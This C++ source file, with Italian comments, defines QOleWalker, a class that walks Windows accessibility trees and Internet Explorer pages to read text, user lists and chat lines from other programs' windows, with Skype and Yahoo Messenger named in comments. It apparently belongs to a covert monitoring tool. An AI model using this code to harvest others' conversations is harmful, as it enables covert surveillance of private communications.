/* * QOleWalker, OLE object parser/walker class * * Coded by: Quequero * Date: 14/Mar/2008 * */ #include #include #include using namespace std; #include "QOleWalker.h" #include "..\HM_SafeProcedures.h" #include "..\common.h" QOleWalker::QOleWalker() { iAcc = tiAcc = yiAcc = NULL; uChildrenCount = uTi = uYi = uIa = 0; bInit = FALSE; hInst = LoadLibraryW(L"OLEACC.DLL"); nMsg = FNC(RegisterWindowMessageW)(L"WM_HTML_GETOBJECT"); } QOleWalker::~QOleWalker() { if(hInst) FreeLibrary(hInst); tiAccRelease(); yiAccRelease(); iAccRelease(); UnInit(); } void QOleWalker::Clean() { if(bInit == FALSE) return; tiAccRelease(); yiAccRelease(); iAccRelease(); } // Inizializza la libreria COM, va chiamata soltanto la prima // volta che si usa l'oggetto. BOOL QOleWalker::Init() { HRESULT hr; if(bInit == TRUE) return TRUE; // Inizializza la libreria COM ed una VARIANT struct hr = CoInitialize(NULL); // S_FALSE indica che la lib e' gia' inizializzata if(hr != S_OK && hr != S_FALSE){ bInit = FALSE; return bInit; } VariantInit(&trVariant); bInit = TRUE; return bInit; } // Deinizializza la libreria COM, va chiamata solo se si vuole // deinizializzare manualmente lo stato dell'oggetto. void QOleWalker::UnInit() { if(bInit == FALSE) return; VariantClear(&trVariant); CoUninitialize(); bInit = FALSE; } // Prima di chiamare questa funzione, va chiamato SetHandle() con // l'handle della finestra dalla quale si vuole ottenere l'IAccessible BOOL QOleWalker::SetInterface() { if(bInit == FALSE) return FALSE; if(hwnd == NULL) return FALSE; iAccRelease(); if(FNC(AccessibleObjectFromWindow)(hwnd, OBJID_WINDOW, IID_IAccessible, (void **)&iAcc) != S_OK) return FALSE; uIa++; // Incrementa il reference counter di iAcc iAcc->get_accChildCount(&uChildrenCount); if(uChildrenCount == 0) return FALSE; return TRUE; } INT QOleWalker::GetRole(UINT uChid) { VARIANT lrVariant, retVal; LONG lRole; if(bInit == FALSE || iAcc == NULL) return -1; VariantInit(&lrVariant); lrVariant.vt = VT_I4; lrVariant.lVal = uChid; iAcc->get_accRole(lrVariant, &retVal); lRole = retVal.lVal; VariantClear(&lrVariant); VariantClear(&retVal); return lRole; } PWCHAR QOleWalker::GetName() { //throw "Not yet implemented"; return NULL; } PWCHAR QOleWalker::GetValue() { //throw "Not yet implemented"; return NULL; } LONG QOleWalker::GetChildCount() { if(bInit == FALSE) return -1; return uChildrenCount; } HWND QOleWalker::GetHandleFromClass(PWCHAR *wClassTree) { HWND hwndFinal; UINT i = 1, len; PWCHAR wClassName = NULL; if(hwnd == NULL || wClassTree == NULL) return NULL; if((UINT)wcslen(wClassTree[0]) == 0) return NULL; hwndFinal = hwnd; len = (UINT)wcslen(wClassTree[0]); wClassName = new WCHAR[len + 1]; ZeroMemory(wClassName, len + sizeof(WCHAR)); // Prendi il nome della classe a partire dall'handle if(!FNC(GetClassNameW)(hwnd, wClassName, len + 1)){ delete[] wClassName; return NULL; } // Controlla che sia uguale al primo elemento passato tramite wClassTree if(wcsncmp(wClassName, wClassTree[0], len)){ delete[] wClassName; return NULL; } delete[] wClassName; // L'utente ha passato solo una classe, quindi dopo aver matchato il // nome torniamo con l'handle originale if(wClassTree[1] == 0) return hwnd; // Se la trovi, scorri l'albero e trova l'handle del controllo while(wClassTree[i] != 0){ hwndFinal = FNC(FindWindowExW)(hwndFinal, NULL, wClassTree[i], NULL); if(hwndFinal == NULL) return NULL; i++; } return hwndFinal; } void QOleWalker::SetHandle(HWND hw) { hwnd = hw; } HWND QOleWalker::GetHandle() { return hwnd; } UINT QOleWalker::GetType() { //throw "Not yet implemented"; return 0; } void QOleWalker::SetType(UINT uType) { //throw "Not yet implemented"; } // FIX - niente leak // Ritorna in this->tiAcc la uIndex-esima interfaccia di tipo uType BOOL QOleWalker::SetInterfaceFromType(UINT uType, UINT uIndex) { long childCount, returnCount, i, j; UINT uCount = 0; VARIANT vtChild, varChild, *pArray = NULL; HRESULT hr; if(bInit == FALSE || iAcc == NULL) return FALSE; tiAccRelease(); tiAcc = NULL; if(iAcc->get_accChildCount(&childCount) != S_OK || childCount == 0) return FALSE; pArray = new(std::nothrow) VARIANT[childCount]; if(pArray == NULL) return FALSE; if(FAILED(FNC(AccessibleChildren)(iAcc, 0L, childCount, pArray, &returnCount))){ delete pArray; return FALSE; } // Scorri i children for (i = 0; i < returnCount; i++){ tiAccRelease(); tiAcc = NULL; vtChild = pArray[i]; if(vtChild.vt != VT_DISPATCH) continue; if((vtChild.pdispVal)->QueryInterface(IID_IAccessible, (void**)&tiAcc) != S_OK){ tiAccRelease(); tiAcc = NULL; continue; } uTi++; // Incrementa il reference counter di tiAcc varChild.vt = VT_I4; // XXX vedere se possiamo rimuovere questa linea //varChild.lVal = CHILDID_SELF; // XXX Nel caso di skype, quando si chiama la GrabUserList() al terzo loop // il server solleva un'eccezione, non fa nulla ma non ho idea del perche'. hr = tiAcc->get_accRole(varChild, &trVariant); if(hr == S_OK && trVariant.vt == VT_I4){ if(trVariant.lVal == uType && uCount == uIndex){ VariantClear(&varChild); for(j = 0; j < returnCount; ++j) VariantClear(&pArray[j]); // XXX delete[] o delete? delete pArray; return TRUE; } if(trVariant.lVal == uType) uCount++; } tiAccRelease(); tiAcc = NULL; } VariantClear(&varChild); for(i = 0; i < returnCount; ++i) VariantClear(&pArray[i]); // XXX delete[] o delete? if(pArray) delete pArray; tiAccRelease(); tiAcc = NULL; return FALSE; } // FIX niente leak ora BOOL QOleWalker::SetDispatchInterfaceFromType(UINT uType, UINT uIndex) { long childCount, returnCount, i, j; UINT uCount = 0; VARIANT vtChild, varChild, *pArray = NULL; HRESULT hr; if(bInit == FALSE || iAcc == NULL) return FALSE; tiAccRelease(); tiAcc = NULL; if(iAcc->get_accChildCount(&childCount) != S_OK || childCount == 0) return FALSE; pArray = new(std::nothrow) VARIANT[childCount]; if(pArray == NULL) return FALSE; if(FAILED(FNC(AccessibleChildren)(iAcc, 0L, childCount, pArray, &returnCount))){ delete pArray; return FALSE; } // Scorri i children for (i = 0; i < returnCount; i++){ vtChild = pArray[i]; if(vtChild.vt != VT_DISPATCH) continue; if((vtChild.pdispVal)->QueryInterface(IID_IAccessible, (void**)&tiAcc) != S_OK){ tiAccRelease(); tiAcc = NULL; continue; } uTi++; // Incrementa il reference counter di tiAcc varChild.vt = VT_I4; varChild.lVal = CHILDID_SELF; hr = tiAcc->get_accRole(varChild, &trVariant); if(hr == S_OK && trVariant.vt == VT_I4){ if(trVariant.lVal == uType && uCount == uIndex){ VariantClear(&varChild); for(j = 0; j < returnCount; ++j) VariantClear(&pArray[j]); delete pArray; return TRUE; } if(trVariant.lVal == uType) uCount++; } tiAccRelease(); tiAcc = NULL; } VariantClear(&varChild); for(i = 0; i < returnCount; ++i) VariantClear(&pArray[i]); if(pArray) delete pArray; tiAccRelease(); tiAcc = NULL; return FALSE; } // All'uscita di questa funzione, il reference counter su yiAcc sara' 1 BOOL QOleWalker::SetYimRecursiveInterface() { long childCount, returnCount; VARIANT vtChild; if(bInit == FALSE || iAcc == NULL) return FALSE; yiAccRelease(); yiAcc = NULL; if(iAcc->get_accChildCount(&childCount) != S_OK || childCount == 0) return FALSE; // Pannello (parent) -> testo/testo/testo... if(childCount != 1) return FALSE; //VariantInit(&vtChild); if(FAILED(FNC(AccessibleChildren)(iAcc, 0L, childCount, &vtChild, &returnCount))){ VariantClear(&vtChild); return FALSE; } if(vtChild.vt != VT_DISPATCH){ VariantClear(&vtChild); return FALSE; } if((vtChild.pdispVal)->QueryInterface(IID_IAccessible, (void**)&yiAcc) != S_OK){ yiAccRelease(); yiAcc = NULL; VariantClear(&vtChild); return FALSE; } uYi++; // Incrementa il reference counter di yiAcc // XXX ho disabilitato questa ed ho abilitato l'ultima VariantClear() // verificare che vada bene //(vtChild.pdispVal)->Release(); // Lista dei children if(yiAcc->get_accChildCount(&childCount) != S_OK || childCount == 0){ yiAccRelease(); yiAcc = NULL; VariantClear(&vtChild); // Crasha.... return FALSE; } // In teoria questa chiama la Release() di vtChild.pdispVal // perche' e' settato VT_DISPATCH ma non VT_BYREF VariantClear(&vtChild); return TRUE; } UINT QOleWalker::GetYimTypeCount(UINT uType) { long childCount, returnCount, i; UINT uCount = 0; VARIANT vtChild, *pArray = NULL; if(bInit == FALSE || yiAcc == NULL) return FALSE; if(yiAcc->get_accChildCount(&childCount) != S_OK || childCount == 0) return FALSE; pArray = new(std::nothrow) VARIANT[childCount]; if(pArray == NULL) return FALSE; //for (int i = 0; i < childCount; i++) // VariantInit(&pArray[i]); if(FAILED(FNC(AccessibleChildren)(yiAcc, 0L, childCount, pArray, &returnCount))){ //for (int i = 0; i < childCount; i++) // VariantClear(&pArray[i]); delete pArray; return FALSE; } // Scorri i children for (i = 0; i < returnCount; i++){ vtChild = pArray[i]; if(vtChild.vt != VT_I4) // Ci interessano solo i children per YIM continue; yiAcc->get_accRole(vtChild, &trVariant); if(trVariant.lVal == uType) uCount++; VariantClear(&trVariant); } for(i = 0; i < returnCount; i++) VariantClear(&pArray[i]); if(pArray) delete pArray; return uCount; } BOOL QOleWalker::SetYimUserListInterface(HWND hw) { long childCount, returnCount, i; VARIANT vtChild, *pArray = NULL; IAccessible *liAcc; if(FNC(AccessibleObjectFromWindow)(hw, OBJID_WINDOW, IID_IAccessible, (void **)&liAcc) != S_OK) return FALSE; if(liAcc->get_accChildCount(&childCount) != S_OK || childCount == 0) return FALSE; pArray = new(std::nothrow) VARIANT[childCount]; if(pArray == NULL){ liAcc->Release(); return FALSE; } if(FAILED(FNC(AccessibleChildren)(liAcc, 0L, childCount, pArray, &returnCount))){ delete pArray; liAcc->Release(); return FALSE; } // Il terzo children contiene la lista degli utenti vtChild = pArray[3]; if(vtChild.vt != VT_DISPATCH){ for(i = 0; i < returnCount; ++i) VariantClear(&pArray[i]); liAcc->Release(); delete pArray; return FALSE; } if((vtChild.pdispVal)->QueryInterface(IID_IAccessible, (void**)&yiAcc) != S_OK){ for(i = 0; i < returnCount; ++i) VariantClear(&pArray[i]); yiAcc = NULL; liAcc->Release(); delete pArray; return FALSE; } uYi++; // Incrementa il reference counter di yiAcc yiAcc->get_accChildCount(&childCount); if(liAcc) liAcc->Release(); // Lista dei children if(yiAcc->get_accChildCount(&childCount) != S_OK || childCount == 0){ for(i = 0; i < returnCount; ++i) VariantClear(&pArray[i]); yiAccRelease(); delete pArray; return FALSE; } for(i = 0; i < returnCount; ++i) VariantClear(&pArray[i]); delete pArray; return TRUE; } // Torna il numero di interfacce Dispatch di tipo uType presenti // nel container. UINT QOleWalker::GetDispatchTypeCount(UINT uType) { long childCount, returnCount, i; UINT uCount = 0; VARIANT lrVariant, vtChild, *pArray = NULL; if(bInit == FALSE || iAcc == NULL) return FALSE; lrVariant.vt = VT_I4; lrVariant.lVal = CHILDID_SELF; tiAccRelease(); tiAcc = NULL; if(iAcc->get_accChildCount(&childCount) != S_OK || childCount == 0) return FALSE; pArray = new(std::nothrow) VARIANT[childCount]; if(pArray == NULL) return FALSE; if(FAILED(FNC(AccessibleChildren)(iAcc, 0L, childCount, pArray, &returnCount))){ delete pArray; return FALSE; } // Scorri i children for (i = 0; i < returnCount; i++){ vtChild = pArray[i]; if(vtChild.vt != VT_DISPATCH) continue; if((vtChild.pdispVal)->QueryInterface(IID_IAccessible, (void**)&tiAcc) != S_OK){ tiAccRelease(); tiAcc = NULL; continue; } uTi++; // Incrementa il reference counter di tiAcc tiAcc->get_accRole(lrVariant, &trVariant); if(trVariant.lVal == uType) uCount++; VariantClear(&trVariant); tiAccRelease(); tiAcc = NULL; } // XXX da testare, dovrebbe essere stabile comunque // ed in teoria dovrebbe chiamare la Release() di eventuali VT_DISPATCH for(i = 0; i < returnCount; i++) VariantClear(&pArray[i]); __try { if(pArray) delete[] pArray; } __except(EXCEPTION_EXECUTE_HANDLER) { pArray = NULL; } tiAccRelease(); tiAcc = NULL; return uCount; } // Torna il numero di controlli di tipo uType puntati da tiAcc UINT QOleWalker::GetTypeCountFromTi(UINT uType) { long childCount, returnCount, i; UINT uCount = 0; VARIANT vtChild, *pArray = NULL; if(bInit == FALSE || tiAcc == NULL) return FALSE; if(tiAcc->get_accChildCount(&childCount) != S_OK || childCount == 0) return FALSE; pArray = new(std::nothrow) VARIANT[childCount]; if(pArray == NULL) return FALSE; //for (int i = 0; i < childCount; i++) // VariantInit(&pArray[i]); if(FAILED(FNC(AccessibleChildren)(tiAcc, 0L, childCount, pArray, &returnCount))){ //for (int i = 0; i < childCount; i++) // VariantClear(&pArray[i]); delete pArray; return FALSE; } // Scorri i children for (i = 0; i < returnCount; i++){ vtChild = pArray[i]; if(vtChild.vt != VT_I4) // Ci interessano solo i children per YIM continue; tiAcc->get_accRole(vtChild, &trVariant); if(trVariant.lVal == uType) uCount++; VariantClear(&trVariant); } for(i = 0; i < returnCount; ++i) VariantClear(&pArray[i]); if(pArray) delete pArray; return uCount; } // Torna il numero di controlli di tipo uType puntati da yiAcc UINT QOleWalker::GetTypeCountFromYi(UINT uType) { long childCount, returnCount, i; UINT uCount = 0; VARIANT vtChild, *pArray = NULL; IAccessible *iWalk = NULL; if(bInit == FALSE || yiAcc == NULL) return FALSE; if(yiAcc->get_accChildCount(&childCount) != S_OK || childCount == 0) return FALSE; pArray = new(std::nothrow) VARIANT[childCount]; if(pArray == NULL) return FALSE; //for (int i = 0; i < childCount; i++) // VariantInit(&pArray[i]); if(FAILED(FNC(AccessibleChildren)(yiAcc, 0L, childCount, pArray, &returnCount))){ //for (int i = 0; i < childCount; i++) // VariantClear(&pArray[i]); delete pArray; return FALSE; } // Scorri i children for (i = 0; i < returnCount; i++){ vtChild = pArray[i]; if(vtChild.vt == VT_DISPATCH){ if((vtChild.pdispVal)->QueryInterface(IID_IAccessible, (void**)&iWalk) != S_OK){ if(iWalk) iWalk->Release(); iWalk = NULL; continue; } vtChild.lVal = CHILDID_SELF; iWalk->get_accRole(vtChild, &trVariant); iWalk->get_accChildCount(&childCount); if(trVariant.lVal == uType) uCount++; iWalk->Release(); iWalk = NULL; VariantClear(&trVariant); continue; } if(vtChild.vt != VT_I4) // Ci interessano solo i children per YIM continue; yiAcc->get_accRole(vtChild, &trVariant); if(trVariant.lVal == uType) uCount++; VariantClear(&trVariant); } for(i = 0; i < returnCount; i++) VariantClear(&pArray[i]); if(pArray) delete pArray; return uCount; } // Effettua il conteggio degli elementi di tipo uType in maniera ricorsiva. // Questo metodo va chiamato con NULL come primo parametro, la funzione // inizializza internamente il membro pAcc prendendolo dall'attributo yiAcc // che deve esser stato settato in precedenza tramite SetYimRecursiveInterface() UINT QOleWalker::RecursiveTypeCountFromYi(IAccessible* pAcc, UINT uType) { HRESULT hr; LONG childCount, returnCount; IAccessible *iWalk; if(bInit == FALSE || yiAcc == NULL) return FALSE; if(pAcc == NULL){ uCounter = 0; iWalk = yiAcc; }else iWalk = pAcc; hr = iWalk->get_accChildCount(&childCount); if(FAILED(hr) || childCount == 0) return 0; VARIANT* pArray = new(std::nothrow) VARIANT[childCount]; if(pArray == NULL) return 0; hr = FNC(AccessibleChildren)(iWalk, 0L, childCount, pArray, &returnCount); if(FAILED(hr)){ delete pArray; return 0; } // Iterate through children. for(int x = 0; x < returnCount; x++){ VARIANT vtChild = pArray[x]; // If it's an accessible object, get the IAccessible, and recurse. if (vtChild.vt == VT_DISPATCH) { IDispatch* pDisp = vtChild.pdispVal; IAccessible* pChild = NULL; hr = pDisp->QueryInterface(IID_IAccessible, (void**) &pChild); if(hr == S_OK){ //pChild->get_accRole(vtChild, &trVariant); //if(trVariant.lVal == uType) // uCounter++; RecursiveTypeCountFromYi(pChild, uType); pChild->Release(); } // XXX disabilito questa in funzione della VariantClear() in fondo //pDisp->Release(); } // Else it's a child element so we have to call accNavigate on the parent, // and we don't recurse since child elements can't have children. else { iWalk->get_accRole(vtChild, &trVariant); if(trVariant.lVal == uType) uCounter++; VariantClear(&trVariant); } } for(int i = 0; i < returnCount; i++) VariantClear(&pArray[i]); if(pArray) delete pArray; return uCounter; } // Torna il numero di children nella IAccessible temporanea LONG QOleWalker::GetInterfaceChildrenCount() { LONG lCount; if(bInit == FALSE || tiAcc == NULL) return -1; if(tiAcc->get_accChildCount(&lCount) != S_OK) return -1; return lCount; } // Prende la riga uIndex-esima dal container identificato da this->tiAcc BOOL QOleWalker::GetLineFromContainer(BSTR *bLine, UINT uIndex) { VARIANT vtChild; vtChild.vt = VT_I4; vtChild.lVal = uIndex; if(bInit == FALSE || tiAcc == NULL) return FALSE; if(tiAcc->get_accName(vtChild, bLine) != S_OK) return FALSE; return TRUE; } // Torna il parametro Name del controllo con ID uIndex di tipo uType (se esiste) BOOL QOleWalker::GetSpecificLineFromContainer(BSTR *bLine, UINT uIndex, UINT uType) { VARIANT vtChild, trVariant; LONG childCount, i; UINT uCount = 0; vtChild.vt = VT_I4; if(bInit == FALSE || tiAcc == NULL) return FALSE; tiAcc->get_accChildCount(&childCount); for(i = 0; i <= childCount; i++){ vtChild.lVal = i; tiAcc->get_accRole(vtChild, &trVariant); if(uCount == uIndex && trVariant.lVal == uType){ if(tiAcc->get_accName(vtChild, bLine) == S_OK) return TRUE; else return FALSE; } if(trVariant.lVal == uType) uCount++; } return FALSE; } BOOL QOleWalker::GetYimSpecificLineFromContainer(IAccessible* pAcc, BSTR *bLine, UINT uIndex, UINT uType) { HRESULT hr; LONG childCount, returnCount; IAccessible *iWalk; if(bInit == FALSE || yiAcc == NULL) return FALSE; if(pAcc == NULL){ uCounter = 0; iWalk = yiAcc; }else iWalk = pAcc; hr = iWalk->get_accChildCount(&childCount); if(FAILED(hr) || childCount == 0) return FALSE; VARIANT* pArray = new(std::nothrow) VARIANT[childCount]; if(pArray == NULL) return FALSE; hr = FNC(AccessibleChildren)(iWalk, 0L, childCount, pArray, &returnCount); if(FAILED(hr)){ delete pArray; return FALSE; } // Iterate through children. for(int x = 0; x < returnCount; x++){ VARIANT vtChild = pArray[x]; // If it's an accessible object, get the IAccessible, and recurse. if(vtChild.vt == VT_DISPATCH){ IDispatch* pDisp = vtChild.pdispVal; IAccessible* pChild = NULL; hr = pDisp->QueryInterface(IID_IAccessible, (void**) &pChild); if(hr == S_OK){ pChild->get_accRole(vtChild, &trVariant); GetYimSpecificLineFromContainer(pChild, bLine, uIndex, uType); pChild->Release(); } // XXX disabilito questa in funzione della VariantClear() in fondo //pDisp->Release(); } // Else it's a child element so we have to call accNavigate on the parent, // and we don't recurse since child elements can't have children. else { iWalk->get_accRole(vtChild, &trVariant); if(*bLine != NULL && uCounter != uIndex) SAFE_SYSFREESTR(*bLine); // Salta le tabelle if(trVariant.lVal == ROLE_SYSTEM_TABLE){ VariantClear(&trVariant); break; } if(uCounter == uIndex && trVariant.lVal == uType){ if(iWalk->get_accName(vtChild, bLine) == S_OK){ uCounter++; VariantClear(&trVariant); break; } } if(trVariant.lVal == uType) uCounter++; VariantClear(&trVariant); } } for(int i = 0; i < returnCount; i++) VariantClear(&pArray[i]); if(pArray) delete pArray; return TRUE; } // Torna il parametro Name dell'uIndex-esimo controllo di tipo uType (se esiste) BOOL QOleWalker::GetLineFromContainer(BSTR *bLine, UINT uIndex, UINT uType) { VARIANT vtChild, trVariant; UINT uCount = 0; vtChild.vt = VT_I4; vtChild.lVal = uIndex; if(bInit == FALSE || tiAcc == NULL) return FALSE; tiAcc->get_accRole(vtChild, &trVariant); if(trVariant.lVal != uType) return FALSE; if(tiAcc->get_accName(vtChild, bLine) != S_OK) return FALSE; VariantClear(&trVariant); return TRUE; } BOOL QOleWalker::GetValueFromContainer(BSTR *bLine, UINT uIndex) { VARIANT vtChild; vtChild.vt = VT_I4; vtChild.lVal = uIndex; if(bInit == FALSE || tiAcc == NULL) return FALSE; if(tiAcc->get_accValue(vtChild, bLine) != S_OK) return FALSE; VariantClear(&vtChild); return TRUE; } BOOL QOleWalker::GetValueFromIEContainer(BSTR *bLine) { CComPtr spDoc; LRESULT lRes; HRESULT hr; if(hInst == NULL || nMsg == 0) return FALSE; HM_SafeSendMessageTimeoutW(hwnd, nMsg, 0L, 0L, SMTO_ABORTIFHUNG, 1000, (DWORD*)&lRes); LPFNOBJECTFROMLRESULT pfObjectFromLresult = (LPFNOBJECTFROMLRESULT)GetProcAddress(hInst, "ObjectFromLresult"); if(pfObjectFromLresult != NULL){ hr = (*pfObjectFromLresult)(lRes, IID_IHTMLDocument2, 0, (void**)&spDoc); if(SUCCEEDED(hr)){ CComPtr pHTMLElement; hr=spDoc->get_body(&pHTMLElement); pHTMLElement->get_innerText(bLine); return TRUE; } } return FALSE; } BOOL QOleWalker::GetDescriptionFromContainer(BSTR *bLine, UINT uIndex) { VARIANT vtChild; vtChild.vt = VT_I4; vtChild.lVal = uIndex; if(bInit == FALSE || tiAcc == NULL) return FALSE; if(tiAcc->get_accDescription(vtChild, bLine) != S_OK) return FALSE; VariantClear(&vtChild); return TRUE; } void QOleWalker::tiAccRelease() { if(tiAcc && uTi){ while(uTi){ tiAcc->Release(); uTi--; } tiAcc = NULL; } tiAcc = NULL; } void QOleWalker::yiAccRelease() { if(yiAcc && uYi){ while(uYi){ yiAcc->Release(); uYi--; } yiAcc = NULL; } yiAcc = NULL; } void QOleWalker::iAccRelease() { if(iAcc && uIa){ while(uIa){ iAcc->Release(); uIa--; } iAcc = NULL; } iAcc = NULL; } .